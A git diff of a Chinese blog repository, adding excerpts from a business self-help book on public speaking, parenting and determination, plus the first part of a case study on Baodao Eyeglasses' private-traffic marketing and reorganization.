+在民间和职业团体面前演说，你可以为公司和自己赢得信誉及公众的认可。演讲对事业有益，不过这不是你该练习演说的唯一理由。真正的理由是我们从中学习如何克服面对公众的恐惧，这些技巧将令我们终生受益。我们从中培养了自信和决断力，使我们成为更好的管理人才、更佳的业务员，和更出色的领导人。 + +演讲就如登门推销，而且难度最高。你卖的不是产品，而是一个不可捉摸的点子，你要面对50或100颗冷漠的心，其中大多数人与你素昧平生，毫无理由要相信你。 + +但是只要你早做准备，你既不会变成挨人白眼的推销员，也不会面对一场冷漠的演讲会。我在“麦凯66”里提出了“赢得听众的11项绝招”。没有两个听众是完全相同的，只要你能回答下列的11个问题，你的演说内容一定能打动不同的听众群，我保证！ + +沙登公司的另一则宣传术语让你从另一个角度求得印证：“如果你怀疑何谓永恒，就做一场5分钟的演讲。” + + + +赢得听众的11项绝招 + + + +1.为什么这个团体邀我演讲(列出理由)。我在这群听众中的知名度和定位究竟如何？ + +2.这个团体的成立宗旨是什么？ + +3.这个团体的主要特质是什么(专业、社交、职业团体等)？ + +4.谁最近向这个团体发表过演说？听众反应如何？我能拿到一份听众的评语吗？ + +5.谁最近对这个团体发表了成功的演说，为什么？ + +6.如何让听众觉得这篇讲稿是专为他们设计的？要如何恰如其分地“幽默”，才受欢迎？哪些是演说禁忌？ + +7.谁是这个团体的意见领袖？当中哪些人会出席？如何与他们联系？ + +8.谁会介绍我出场？他(她)会如何介绍我？如何赞美他(她)最恰当？ + +9.我要回答问题吗？听众可能提出哪些重要问题？我该特别留心哪些棘手的问题？ + +10.我可以提供哪些值得听众带回家的信息？该提供具体的资料吗(如表格、摘要……等)？ + +11.谁可以在听众群里做我的“内应”，帮我收集可靠的听众反应？ + +## 秘诀16 现金之美 + +我指的不是钱，是现金，你知道现金是多么稀有美妙吗？有人一年赚20万、30万或40万，可是20年内没见过1000块的现金。他赚的是银行的支票和数字，不是声音悦耳、线条迷人、坚实又冰冷的现金。 + +然而在我公司里，我们将新增的盈收用现金支付给业务员。在业务会议上，我们通常会宣布新增的盈利，在众目睽睽之下，我拿出其中一部分，用现金付给业务员。 + +对了，不管付硬币还是纸钞，要确定你的财务部或人事部门代表在场(和我们一样)仔细做记录，以免国税局有问题。 + +当时会场一片寂静。我倒出钞票时，那里就像教堂一样。通常我用崭新的百元大钞(《教父》的作者普索称那些钞票为“蜜蜂”)。我一次一张数着，“1、2、3、……”。我熟练地制造轻脆的响声。你应该看看这些人，他们简直陶醉了、上瘾了，像被催眠似的。 + +我现在了解赌博最迷人的魅力之一就是——对方付现金。要不就是永恒的现金：黄金。1933—1975年间，在国内持有黄金是非法的。我了解原因，黄金真是令人上瘾，使人为之疯狂。付帐时我要拿这些崭新的美国硬币做一两次实验，看看这些钱会不会变成耀眼的金币。 + + + +# 第五章 帮助你的孩子掌握胜算 + +## 帮助你的孩子掌握胜算 + +在晚餐桌上发脾气瞪着你的那张小脸孔，等他长大求职时，总要面对真实的世界。 + +你或许想在孩子们决定毁掉这个世界之前，告诉他们世界的真相。我不敢保证他们都能变成百万富翁，因为胜算只有二百分之一。虽然这是个不易达到的目标，但是也只有美国才有上百万的百万富翁。 + +曾有许多为人父母者问我：“麦凯，你是个成功的企业家，比较有心得。我想给孩子们一些忠告，好增加他们成功的机会，我该说些什么？” + +首先你应该明白，你能说的有限，要是滔滔不绝地提出你的忠告，你会变成《哈姆雷特》里那位满口陈词滥调的波隆尼斯。要惜言如金!一旦你开口，就要送给他们结实的银弹，切实命中要害，以下是我的看法。 + +## 不要妄想守株待兔 + +和他们谈谈人生的第一份工作。不是指他们为了避开你或是想赚钱买车而接受的工作，我是指他们真正的第一份工作。能赚那么多钱，他们一定乐坏了，你必须告诉他们事情的真相——他们的待遇偏高了。 + +待遇偏高是因为他们对商界一无所知，必须经过训练，有了经验之后，才能成为有价值的资源。他们会说：“太荒谬了，我有这个价值，否则他们为什么要故意多付我薪水？”答案是他们头两年多付你薪水，一旦你进入情况，他们可以在未来25年里少付点钱。这是理所当然的，只有在员工付出的劳力多于所得的情况下，公司才会赚钱。 + +他们也许会问：“既然如此，为什么还有人愿意继续干下去呢？”因为你一旦熬过那25年，跨进管理阶层，又会成为待遇偏高的人。 + +这就是现代资本主义。你受训时支薪过高，工作时待遇偏低。不过有个诱因激励你在低薪的状况下继续努力——因为你希望有一天能爬到金字塔顶端，督导别人工作，自己坐领几年高薪。不过你也可以缩短低薪的过渡期——一旦你接手这件工作，就该开始考虑如何爬升了。 + +为别人工作，一旦进入情况，原本该你赚的钱就进入别人的荷包。如果你决定留下，摆脱低薪的最佳武器就是要了解自己的无知。认清你对每件事情事实上了解不清，要自我挑战，抓住每个学习的机会。 + +如此可以战胜制度。你的老板无法剥削你的学习心得。每一次你走进办公室，他就等于被迫付钱让你去学习新的、更具商业价值的东西。采取行动而非原地踏步，你将更迅速地爬上公司的金字塔顶。 + +你会想找一位医生——他的上一堂医学课还是在1948年修的——替你看病吗？不幸的是，这种人还不在少数。然而十分之九的现代医疗技术——激光、起搏器、化学疗法、药物——都是在1948年毕业的医生离开校门后，先后发展出来的。你必须时时求变，保持上进心，才能不断自我挑战。当机会来临时，要为生命增添新的旋律。否则世界会从身边走过，无论你是老板还是职员。 + +## 找到你喜欢的工作，并且让它替你赚钱 + +英语里有一个非常不合宜的词——“工作”。但如果你喜欢，工作就不成为工作。许多人似乎认定为求生计，就不可能乐在工作——否则别人为什么要花钱给你找乐子。事情并非如此，做你喜欢的事情吧! + +听来简单，许多人在童年都有过这种经验：主宰我们生活的人，似乎总有权指使我们做些不喜欢的事。如果我们早年的生活经验如此，我们会相信工作的世界也必然相似。其实不然，世界上充满随心所欲、做他们想做的事而又生活富足的人。不只是在广告界、写作圈、戏剧界或拯救鲸鱼这些光耀的行业里才如此。重点是不管你做哪行，如果你喜欢，便可以从中获利。 + +我正好对语言感兴趣，至少学过六种不同的语言，中文是其中之一。其实你会不会中文都可以在我的行业里赚钱，但是从另一个角度来看，如果你能在工作中运用一些似乎无关本行的特长，像说中文，你会过得更好，获得更多乐趣。 + +当我以同业领袖代表的身份前往中国大陆时，我的中文会话能力派上了用场。事实上，全世界都报道了当时的事件。我是第二次世界大战后第一位在中国大陆以中文发表演说的美国商人。而且我与同行的美国商人也有了接触并有业务往来，部分原因是他们欣赏我的博学广闻。他们不懂中文，对信封业也一无所知，不过他们显然认为，能不厌其烦学习中文这种艰涩语文的人，必然在他们的领域内也学有专精——比如制造信封。 + +因此靠着会说中文，我卖出数量可观的信封，这个故事印证了第一及第二条法则。不要守株待兔，要求变，要上进。一旦你找到自己喜欢的事情，让它为你赚钱——即使这件事看来与本行完全无关。 + +## 相信父母有时候是对的 + +过去几年，我应邀到哈佛的一门企管研讨课上演说。对一屋子的人演讲完之后，他们邀我与八名学生同桌而坐，开始一问一答。这种方式让学生能够就近提出问题，问出那些你以为能在演说中成功回避的“独家秘方”。 + +当然教学相长，我也受益良多，我们互相看着对方。我观察到每位学生都出奇地聪明，但是8个人当中，你知道有六个人可以交谈，与另外两个人则无法理智的对话。其中一名好斗成性，另一名学生提的问题复杂又迂回，好像他谈的是量子物理，不是商业。 + +身为父母，你投资时间、金钱和心力让孩子学习一大堆他们讨厌的东西。“为什么，为什么，为什么当我要成为一名核子物理学家/著名摇滚明星/世上最有钱的人时，我得学网球？用叉子吃东西？穿袜子？还有学西班牙文？” + +事实上确有必要，不只因为在生命里有很多东西比赚钱营生更重要，而是无论你多聪明，无论你做得多出色，我们赖以生存的经济是多变的，资本主义社会不断创新产品、淘汰旧物。社会评论家形容产品在市场里短暂的生命周期为“有计划的淘汰”(planned obsolescence)。他们会指责贪婪的美国公司永远不断地抛弃完好的旧产品，以便向温顺无知的客户推销新产品。 + +然而，你现在已经难得听到“有计划的淘汰”的论调了，日本人证明我们的问题不在于太多新产品，而是太多旧的、低效率的产品。顾客证明了是他们，而不是傲慢的资本家决定要买什么，没有任何次级的、过时的，或价超所值的产品卖得出去。 + +这种破坏再改变的模式不仅在市场里一再重复，也会成为你儿女工作生涯里不可避免的特质。 + +除非他们能够“沟通”，能够有礼貌、有效率地驾驭说写能力。否则，有一天一个核子物理学家或信封制造商都可能难以自保，因为不管他们安身立命的行业多么安全，在这个不断汰旧换新的资本主义世界里，他们的工作会改变，他们会需要这些技巧推销自己，结果，他们不但不能守株待兔，还必须再次走进冷酷困难的现实世界为自己找出路——如果他们不能以迷人的方式与人沟通，他们会陷入很大的困境。 + +正是这些广泛、原则性的技巧，以及靠写作、演说、穿着和仪态培养出的沟通能力——有这些年来，老师及父母让他们学得快要发疯的东西——有一天会使你的孩子免于失业之苦。 + +## 划地自限者前途无“亮” + +西方有一句俗谚说：“东西没破，就不用修理它。”(If it ain’t broke, don’t fix it.)但是做事成功的人往往都是因为能未雨绸缪，他们掌握先机，让竞争对手无力反击，制定游戏规则，别人只得照着规矩玩。 + +精密电子公司在《华尔街日报》上登过的一则广告，为上述道理作了精彩的注脚。广告中刊出一些旧时代的照片，令人印象深刻的标题，显示当事人对当代重要问题多么有“远见”。 + +其中一张照片是华纳。他于1927年担任华纳兄弟公司的总裁——有声影片那时刚问世，华纳先生对这项新科技的评语是“鬼才要听演员说话”。接着是1111年的诺贝尔物理奖得主米里肯。他说：“无人能够探知原子的力量。”美国专利局局长杜尔的话则最精彩，他在1899年说：“能被发明的东西都已经被发明了。”这3位绅士的共同点是什么？他们都大错特错了。 + +告诉你的孩子要冒险。年轻人最大的本钱就是不像成年人一样，有财务和家庭的拖累，因此冒险也无虞会损失什么。所以鼓励他们尝试新东西，向命运挑战。 + +他们有时会遭遇失败，但是如果他们有双倍成功的机率，自然也有双倍失败的机率。只要记住：方向盘倾向于有利他们的方向，制度也偏向他们，因为这是一个变动的世界，老旧的东西会被毁灭。在一个奖励求变的社会里，比起徘徊于旧科技和现状里的人，年轻人有更好的机会改变世界。 + +## 在父母成功的阴影下更难出头 + +有一句老话说：“富不过三代。”意思是说如果你的祖父母生活穷困，你的父母出人头地，通常你这一代又会回复你祖父母的生活模式。 + +原因何在？原因之一是大自然有一套不变的平衡法则。没有任何生命能代代青出于蓝。如果你不同意，只要看看历任美国总统的家庭。吉米·卡特的父母也生了比利·卡特。赐给我们林顿约翰逊的父母也给我们山姆·约翰逊——他是约翰逊总统将之逐出白官的家伙。尼克松弟弟唐纳德的问题也同样棘手。 + +我们可以给孩子正确的理想、适当的教育，为他们开启大门，可是剩下的就全靠他们自己了。每一代都有自己的领袖，很少从上一代网罗人才。 + +两年前，电影演员寇克道格拉斯接受故乡上纽约州阿姆斯特丹的颁奖。他的儿子麦克也在场观礼，听寇克·道格拉斯致词时说：“我要你们知道，我成功要比我的儿子容易得多，我父亲只有一辆手推车，如果我有两辆，我就比他好了两倍，但麦克做到了，虽然他老爹挺有名气，这实在费了他不少功夫。这可并不容易。” + +你的孩子未必要超越父亲或女强人型的母亲才算成功，如果他们能订定自己的目标，善用自己的特殊才能，从我们提供的环境中选择适合自己的，他们便拥有了成功必备的条件。 + +　 + +# 结语 迈向成功之路 + +## 如何成功 + +你已经与我共同走过一段漫长的路，三堂短期麦凯课程和一堆速成秘诀。现在是面对最大挑战的时候了——如何登上成功高峰。我要对此提供些意见。 + +你可曾注意我们谈了那么多，却没有再三强调每一本这类的书籍都会出现的一个字？ + +这个字就是“决心”。一本谈“如何成功”的书如果不谈决心，就像一部没有枪战的西部影片。 + +我一直绞尽脑汁，思考如何谈“决心”，却又避免那些陈词滥调，我希望我有答案。我要告诉你一些故事，一些麦凯家的传奇，让你自己决定“决心”对成功有多重要。 + +我在前面提过，我父亲杰克·麦凯是美联社驻圣保罗的通讯员。他做得十分出色。最了不起的专业贡献是他发掘好故事的新闻鼻，以及追新闻时不屈不挠的热诚。 + +1932年时，明城及圣保罗是恶名昭彰的帮派聚集地。有一段时期，贝克帮(Barker gang)的狄林格，以及绰号“爬行者”(reepy)的卡皮斯，这两个著名的盗匪都住在双城，警方多多少少放他们一码。为了回报，人们希望这些帮派混混看在这点份上，做那些“事业”时离城远一点，同时也用更具体的行动表示他们对当地行政机关的感激。 + +但是不出所料，这种默契被打破了。这些混混绑架了两名富有的圣保罗市居民——银行家布里莫和啤酒商汉姆。我父亲负责替美联社追踪报道这则新闻。 + +1932年的12月16日，一名无辜的旁观者在明城一次11.8万美元的银行抢案中被杀，案子追到贝克一卡皮斯帮的身上。一名警察突袭一场扑克牌赌局时逮捕了几名罪犯，包括名叫汉金斯的窃贼——他被认定是帮派的一分子。最后汉金斯因谋杀罪名在1933年被判终生监禁。 + +1935年，大部分贝克一卡皮斯帮的人，死的死、被抓的抓，幸存者公开互相指控为自己脱罪。我父亲尽职地报道了他们的故事，从中发现汉金斯并未涉入银行抢案及谋杀罪行，他甚至不是帮派的成员。 + +根据这些消息，我父亲说服州长奥森展开调查，但奥森在调查报告完成之前去世，他的继位者只做了六个月便在选举中败给史泰森，史泰森又从头开始调查汉金斯案。 + +1941年时——距银行抢案及谋杀案发生已达九年之久，史泰森的报告完成，命令无罪开释汉金斯。但正如我父亲所报道的“情况更复杂了。汉金斯因为多年前在肯塔基州犯下的抢夺13美元的案子而被通缉”。肯州的警官要求引渡汉金斯。 + +明城当局拘禁一名无辜者达八年之久后，自然不愿意为了13美元的罪行，把他送进南方感化院接受不人道的待遇。当明城了解肯州不愿引渡精神病罪犯后，他们作了一个不得已的决定——把汉金斯转送到专为精神病罪犯设立的圣彼得州立医院。 + +自始至终，父亲不停报道拘禁汉金斯的愚行——汉金斯神智完全清醒，却被关在精神病院里。 + +汉金斯生活得十分艰苦，他只能用一次大战后每月60元的抚恤金买些小小的奢侈品，美国却很快又卷入二次大战。除了我父亲的报道继续为汉金斯伸冤外，他完全被世人遗忘了。但是，我父亲坚持到底，终于在1949年使官方采取了一些行动。那年汉金斯被证明神智正常而被送回州立监狱，我父亲又开始一连串的报道，而州长刚对此案发生兴趣时，却被任命为联邦法官。 + +最后，继任的安德森州长首次召集了州赦免委员会的特别小组来审查汉金斯一案。在听证会开始的前两小时，赦免委员会得到官方通知，肯州对汉金斯“不再有兴趣了”。 + +我父亲自始至终与汉金斯站在同一阵线，他是汉金斯唯一的支持者，也是他圣诞节及感恩节唯一的访客。他在听证会里出庭作证。 + +经过漫长的18年，其中包括10年的精神病院监禁，汉金斯冤情大白而无罪开释。 + +汉金斯的奖赏是自由。杰克·麦凯的奖励是波摩杰出报道奖(Pall Mall Big Story Award)，他还获赠终生免费用波摩香烟。但是如他所说，他既已在“8岁时戒烟”——通常小孩在这个年龄躲在车库里抽第一支烟，他的奖品可说是英雄无用武之地。 + +这就是杰克·麦凯：决心加上热诚。 + +这里还有另一个例子。 + +30年代初，明城州长奥森是全国知名人物。有角逐总统的声望。他却在1935年夏天，因癌症而在明城的医院里濒临死亡记者们开始倒数计时，大家都想做第一个抢到新闻的人。我父亲站在医院窗外的街道上，他以几块钱打点奥森的护士，要她在奥森咽气时，压低隔壁房间的遮篷。 + +由于医院不让记者使用医院电话来报道新闻，而投币电话在当时并不普遍，我父亲也给了一个男孩0.25元，要他在几条巷弄之后的街角杂货店里，先占一个电话。 + +奥森一死，遮篷垂下来，我父亲开始冲向杂货店。当他通过最后一条街道时，由于一心只想着数分钟后要在全国新闻网上作报道，被一辆卡车撞倒了，站起身，拍掉身上的灰尘，跛行走向电话，报道了他的故事，然后才强迫自己跛着走到医院检查——就这样，杰克·麦凯得到了独家新闻。 + +28年后，我正好28岁。那时，我已经拥有自己的事业3年，正在找寻贷款以筹建一座20万的新工厂。我跑了13家不同贷款机构——双城的每一家银行和抵押公司——吃了13次闭门羹。 + +我用地图和圆规，以明城为中心画出一个半径3英寸的圆，拜访这个区域内的每家银行和抵押公司。遭到更多次回绝后，我继续画圆。最后我的圆大到足以涵盖米尔瓦基郡，我在那儿得到贷款。 + +这就是决心？在我父亲的经验里，我确信他认为被卡车撞伤是他工作中的一次挫折。而我，则当这些是宝贵的商场经验。如果当时得不到贷款，我今天还会继续画圆。拥有自己的土地和工厂比租用别人的设备至少节省100万美元。 + +为了筹那样一笔钱，你会惊讶地发现居然有这么多的生意人高举白旗，束手待毙。千万别成为其中之一。 + +成功有一个奇妙的公式，说来容易，做起来却不简单。虽然每个人都有自己的特色，使我们显得独一无二，但是我相信自己见过足够的成功者，可以辨别造就他们成功的共同特质。 + +## 成功=决心+设定目标+专心 + +裴雷耳是南非一位高尔夫球选手，曾赢得多项竞赛——包括美国公开赛、名人赛、英国公开赛和职业联盟赛。他是一名优秀的运动员，不过每位参赛者也都很出色，裴雷耳尚要克服一些不寻常的障碍：他身高5英尺6英寸，在人群中并不显眼，健康状况也欠佳，60年代，他必须在四名保镖的护卫下出赛。南非的种族政策使他成为威胁和恐怖事件的目标。 + +我于1955年圣保罗公开赛前的练习与他相识，当时，这是一项相当重要的比赛。裴雷耳是名不见经传的职业选手，我则是默默无闻的业余选手，他初到美国;我则刚从明尼苏达大学毕业，赢得大学代表队的资格，但是不能参加职业球赛。 + +我们立刻热络起来，由于比赛在我家乡举行，我们年龄又相仿，我便自告奋勇担任向导。我们和其他六名青年共度了一个美好夜晚。第二天，虽然我的开赛时间是下午，裴雷耳是上午，但基于对新朋友的热情，我决定陪他参赛。当我走向他时，他刚打完第一洞，向果岭间的草地走去，球道上空无一人——1955年的裴雷耳没有任何观众在旁围观。 + +我问他：“裴雷耳，你好吗？昨天玩得开心吧？” + +他没有反应，也没转过头来，眼睛直视地平线，反应冷漠。 + +“麦凯，我不能和你谈话，我必须全神贯注，打完之后我会去看你。” + +我颓丧地回到俱乐部。 + +1985年我与裴雷耳夫妇重逢，告诉他们这个故事。裴雷耳夫人笑道：“麦凯，别难过了。事实上，他对你还算客气。他在比赛时，根本无视于我的存在。” + +决心、设定目标、全神贯注，听来全是陈词滥调，不过全是真理。裴雷耳因此成为赢家，然而，这个真理不论在高尔夫球场上或是生活中，却有许多人充耳不闻。 + +也许你读过这则故事后会说：“我也能办到，我也可以像裴雷耳一样地专一、投入。”我打赌十之八九你做不到，我可以告诉你原因。 + + + +知易行难 + + + +我曾负责为明尼亚波利斯市市中心建造一座圆顶体育馆的计划，在那段努力奋斗的七年中，我做过上百次演讲，每次结束之前，我总会要求听众举手，看看有多少人对我们球队是否能维持下去，会关心到愿意写信给州议员。每次总有90%的听众举手。我说：“很好。我还有一个要求：请你们复印一份请愿信给我。”我接到的信件总不会超过10%。 + +决心？设定目标？全神贯注？我们都自认条件齐全。事实不然，我写这本书的目的就是要帮助你们成为那10%的人。这不是独家秘方，你要做的只是身体力行。 + +我在60年代中期认识尤伯鲁斯，当时他被选为青年总裁协会的一员——这是全国性的商业社团，由公司员工超过75人，年纪在50岁以下，销售额500万美元以上的公司总裁组成——他年近40，我比他早一年入会。 + +尤伯鲁斯的自律精神很强，因此几乎完全无法容忍没有同样美德的人。如果他看见职员用手遮着嘴说话，他会上前把对方的手甩开。他不仅坚持职员任何时间都要穿西装，打领带，一旦他觉得他们的衣着看来寒酸、便要他们添购新装，不过和一般洁癖暴君不同的是，他会在警告单内附上支票。 + +决心？设定目标？全神贯注？尤伯鲁斯比裴雷耳更胜一筹，他是领袖、也是企业家，他树立自己的风格，别人也要遵守。 + +由于他的努力，使1984年的第23届奥运会不仅有收入，井且高达2.15亿美元，不像前一届。并在开幕典礼上出现史无前例的画面——大家对尤伯鲁斯起立喝彩。我一生中参加过多次运动竞赛，却是第一次看见8.4万名观众起立向卖票给他的人高声欢呼。 + +卡尔森是明州最富有的人。他白手起家，在经济人恐慌时批发奖券给杂货店、由此建立了一个年销售额40亿的世界性集团。 + + + +向自己挑战 + + + +就像裴雷耳和尤伯鲁斯一样，卡尔森也不是一个叶以轻松共事者。他大骂部属时毫不留情是众所皆知的，他从不守成不变。如果把这三人放进同一个房间，分给每个人一把斧头，把灯熄了。我毫不怀疑，走出房间的将是卡尔森，同时手上握有四把斧头。 + +卡尔森的独到之处是他有自己的观点，他对自己的判断毫不怀疑，是个独行侠。他不要股东、伙伴或合伙人。他要的不是全部就是零。虽然他偶尔会转手一小部分事业，但绝不会是卡尔森公司。如果这代表着他必须自筹资金，他也宁愿如此。 + +为什么？因为他认为自己的判断高于其他人，他不希望他们变成绊脚石，在卡特政府时代，当我们深受绎济衰退之苦时，卡尔森令我吃惊地表示，他对那年或次年的经济状况毫无怨言，无论是经济大恐慌或经济衰退，他关心的不是短期的情形如何，通常，强者愈强，弱者愈弱。他在1987年的销售额已经从10亿多增为40亿美金。 + +他说：“在赛马途中你不会喊停。”他的一生就是一场赛马。由于竞争者远远落后，大部分时间里，他的对手是自己，他甚至在12个月内超越自己订的目标，1987年的销售额达到40亿，现在他的目标是50亿。 + +我想发生在明城50年来最大一次暴风雪里的故事，最能传神地描绘他的个性：即使天气再恶劣也不关闭的明城圣保罗国际机场，却在这次大风雪中首度关闭。几周前，我已排定了纽约的一次会议，正好卡尔森与我同路，所以让我搭乘他的喷气机。那时，离城的希望似乎十分渺茫，最后在大风雪的吹袭下，机场出人意料地宣布开放一段时间给小型飞机使用。老实说，当时我可没有向明城天气挑战的勇气，卡尔森却毫不在乎。当我们准时起飞时，他高兴地转身对我说：“瞧!麦凯，雪地里没有跑道的踪迹了!” + +卡尔森，70岁，不贪恋财富，仍然兴致勃勃、精力充沛地要争第―……不顾危险。 + +像他们三位一样努力，你绝不可能失败。不过，我也见过许多企业垮台，因为拥有者把成功太视为理所当然。 + +成功不是理所当然 + +没有任何公司永远能独占鳌头。在西方，永不休止的循环是先破坏再改变，为那些有决心、目标和全神贯注的人不断创造机会。 + +只要世界上能产生裴雷耳、尤伯鲁斯和卡尔森一样的人，你就和他们有同样的机会攀上高峰。 + +要和鲨鱼游泳，单靠一次经验你还学不会，高风险的挑战需要练习以及坚忍不拔的毅力。这本书的目的是帮助你在人生的惊涛骇浪中，能更安全、更顺利地掌握自己的航向。在未来的岁月里，毫无疑问地有人会以新的出色人物做为模范，为本书添入最新的资料和观念。我打赌在这本书的读者群中，就会有几位名列未来的传奇故事里——如果你兼具了意志和精神，你就会是其中之一。 + +# 参考 + + ++ [攻心为上](https://xyyuedu.com/lizhishuji/gongxinws/index.html) diff --git a/_posts/2021-05-27-554-bdyj.md b/_posts/2021-05-27-554-bdyj.md new file mode 100644 index 0000000..3df6ddc --- /dev/null +++ b/_posts/2021-05-27-554-bdyj.md @@ -0,0 +1,159 @@ +--- +layout: post +title: 私域破局：传统企业如何应对流量焦虑 +pid: 554 +tags: [数字化转型] + +--- + + + +对于王智民而言，2020年格外忙碌。 + +作为星创视界董事长、宝岛眼镜CEO，王智民除了在各种场合分享自己的私域流量实践，还接待了不少企业的组团参访，其中不乏知名大企业，如安利、百胜、网易、新希望、顶新等。它们登门造访，就是想了解宝岛眼镜到底是怎么做私域流量运营的。 + +2017年，公域流量开始见顶，流量争夺越来越激烈，企业流量成本越来越高，于是，企业和营销人对真正运营自己用户的梦想更趋强烈。 + +最终，在2019年，私域流量概念彻底沸腾。一夜之间，几乎所有企业都跃跃欲试，要打造和运营自己的私域流量，实现流量闭环。 + +在众多企业中，宝岛眼镜不仅宣布实施私域流量运营，还提出了自己的方法论。更甚者，宝岛眼镜对自己的组织架构进行了颠覆性调整，彻底改变以门店运营为中心的传统模式，构建起以会员运营为核心的零售模式。 + +作为一个传统眼镜零售连锁品牌，宝岛眼镜的这一系列动作可谓是革命性的。也因此，勇于突破的宝岛眼镜在2020年迅速成为私域流量运营的标杆，王智民成了“年度大忙人”，宝岛眼镜也成了“年度朝圣地”。 + +### 01 打基础：专业化+数字化 + +“很多人看到2020年我们变化很大，成了私域流量运营的标杆，但是这并不是突然出现的，好几年前我们就在打基础了。”王智民所说的“打基础”，确切地说，就是2015年宝岛眼镜启动的两大战略：**专业化**和**数字化**。 + +“如果我们的导购和验光师对自己的商品和服务不够专业，我们的验配设备不够先进，就很难打动用户，也无法给用户提供个性化商品和服务。既然我们的用户都是数字化原住民，生活在数字世界里，我们也得让自己进到那个世界，这样才有可能与他们建立连接。”王智民解释了上述战略背后的思考。 + +为了树立专业形象，用专业服务和商品来赢得用户信任，王智民将宝岛眼镜的专业化战略体现在四个方面：专业的设备、专业的验光师、专业的服务、专业的商品。 + +他希望改变眼镜店在用户心智中的形象，从眼镜店转型为专业的眼健康筛查中心，既帮助民众认识到眼睛健康的重要性，又通过专业性吸引用户走进宝岛眼镜门店。 + +数字化方面，在王智民看来，所有企业在做数字化之前，应该**重新定义未来你和用户之间的关系**。 + +“我们希望跟用户交互的节点是人，也就是我们的导购和验光师。只有人与人之间的交互，才能真正建立信任关系，我们才能真正拥有用户。所以，数字化建设就得围绕这种新关系来做。”王智民解释道。 + +2015年宣布数字化战略后，宝岛眼镜开始推进线上线下的数字化融合，实现门店与各线上平台的支付、会员、商品等打通。电商部门不再只是在平台上卖券，开始做务实的B2C销售，从消费者的视角认真思考到家、到店的消费场景。 + +2016年到2020年，宝岛眼镜连续5年拿下双11天猫、京东眼镜类目双料冠军。 + +此外，从2015年开始，宝岛眼镜还鼓励门店导购通过扫码关注，把进店的用户引导至微信公众号，做微信商城和营销活动。到了2018年初，宝岛眼镜又激活了企业微信，开始积累和运营会员。 + +### 02 做私域：调组织+变思维 + +到2018年，宝岛眼镜的专业化和数字化建设差不多已经完成，这为与用户建立连接、做会员运营铺平了道路。 + +2019年，王智民觉得会员运营的时机已经成熟，加上私域流量概念的突然升温，他于是决定启动宝岛眼镜的私域流量运营，将公司的管理经营模式从以门店运营为核心转向以会员运营为核心。 + +在向整个公司宣布启动私域运营之前，王智民一直在思考一个问题：该怎么解释这件事？ + +他记得在一个论坛上听过一个北漂女孩的分享。这个女孩是做摄影的，她只身跑到北京，跟自己的发小一起搞了一个摄影棚。她在北京人生地不熟，怎么做生意呢？ + +她就靠一部手机、一个微信账号，天天在微信上发摄影作品，慢慢积累自己的影响力，慢慢积累一个又一个客户。1年后，摄影棚活下来了，并开始赢利，业绩不断往上走。 + +“从她身上可以看到，一个人靠一部手机、一个微信号，就能够做到一件事——自洽闭环。”王智民总结道。 + +王智民对类似北漂女孩的自洽闭环进行分解，梳理出了5个动作： ++ 确定大的公域流量平台， ++ 在平台上做声量， ++ 设计各种场景和触点， ++ 将用户从公域引导到自己的流量池， ++ 对会员进行持续运营。 + +经过几年来的观察和思考，王智民总结出了宝岛眼镜私域流量运营的方法论：**两大动作，五大路径**。 + +第一个动作是**公域转私域**，将宝岛眼镜在公域获取的用户引导到私域，建立自己的会员流量池，第二个动作是**会员运营**，在自己的流量池内维护、运营好会员。 + +五个路径分别是**寻找公域流量池、扩大声量、创造触点/设计场景、公域转私域、会员运营**。 + +![宝岛眼镜私域流量运营的方法论：两大动作，五大路径。](http://image.ceconline.com/MA/2021/20210318_MA_ES_03_01.png) + +2019年9月，宝岛眼镜宣布了私域流量运营，并同步启动了组织变革。 + +按照王智民的规划，宝岛眼镜的主体架构切分为两大块。一块还是做原来的线下门店零售。另一块负责会员运营，由MCN（网红孵化中心）和MOC（会员运营中心）两大部门组成，分别负责公域流量运营和私域流量运营。 + +从方法论中的五大路径来看，MCN主要负责寻找公域流量池和扩大声量，MOC则完成公域转私域和会员运营。但是，这两大部门并不是相互独立的，它们需要共同完成一个工作——**创造触点和设计场景**。 + +具体来说，MCN设计各种用户场景，然后MOC开发各种数字工具，以数字化方式实现这些场景，从而构成商业闭环。 + +无论是MCN还是MOC，他们面向的是宝岛眼镜全体7000多名员工，**通过服务好员工，让员工服务好用户**。 + +![转型后宝岛眼镜组织架构](http://image.ceconline.com/MA/2021/20210318_MA_ES_03_02.png) + +当然，宝岛眼镜的组织变革不只是发生在总部层面，全国七大区也各自设立了MCN和MOC团队，对接总部的同时，给各自大区内的所有员工提供赋能。 + +### 03 泡公域+玩私域 + +宝岛眼镜的整个MCN有40人左右，基本上就是原来的市场部人员。但是变成MCN之后，他们的职能彻底改变了。**原来，市场部是做对外投放和促销活动的，现在MCN主要做两件事：孵化达人和生产内容。** + +MCN要孵化的达人并非来自外部，他们的目标很宏大，要把宝岛眼镜7000多名员工都培养成网络达人，让他们到不同流量平台开设个人账户，传递宝岛眼镜的声量，对平台上用户进行种草、拉新，吸引用户加入企业微信，成为宝岛眼镜的私域流量。 + +在孵化达人之前，MCN先要选定进入哪些公域流量池，标准就是“用户在哪里，我们就在哪里出现”。 + +宝岛眼镜把自己的用户划分为多个族群，包括功能科技、品质科技、完美主义、入门品质、淡定族、国际奢华、时尚浪族、白富美等。相应地，MCN确定了大众点评、视频号、小红书、知乎、抖音、豆瓣、B站、微博、微信等平台，并对它们做了精细化分类。 + +像大众点评、视频号等平台，本来就面向普罗大众，整体运营要求不高，适合宝岛眼镜全员参与。 + +小红书是一个时尚社区，用户多为年轻女性，以图文笔记和视频分享为主，需要分享者具备一定的写作和视频拍摄剪辑能力，所以MCN把它定位为兴趣型项目，员工自愿报名。 + +知乎则是一个专业知识分享社区，要求分享者有一定的工作积累和专业知识沉淀，所以更适合宝岛眼镜的专业验光师来运营。 + +抖音平台是最难的，因为一个人做不了，必须由一个团队来做。 + +![宝岛眼镜声量矩阵图](http://image.ceconline.com/MA/2021/20210318_MA_ES_03_03.png) + +找到了公域流量池，也孵化了大量达人到不同平台开设账户、发声、种草，接下去，怎么把已经对宝岛眼镜产生兴趣的平台用户引到私域流量池呢？ + +**MCN会设计各种场景和触点，给导购和验光师创造触达用户的机会，然后由导购和验光师引导用户加入宝岛眼镜的企业微信**。 + +被种草的公域用户，一旦通过导购和验光师加入企业微信，就成了宝岛眼镜的私域流量。接下来，就该运营私域流量的MOC登场了。 + 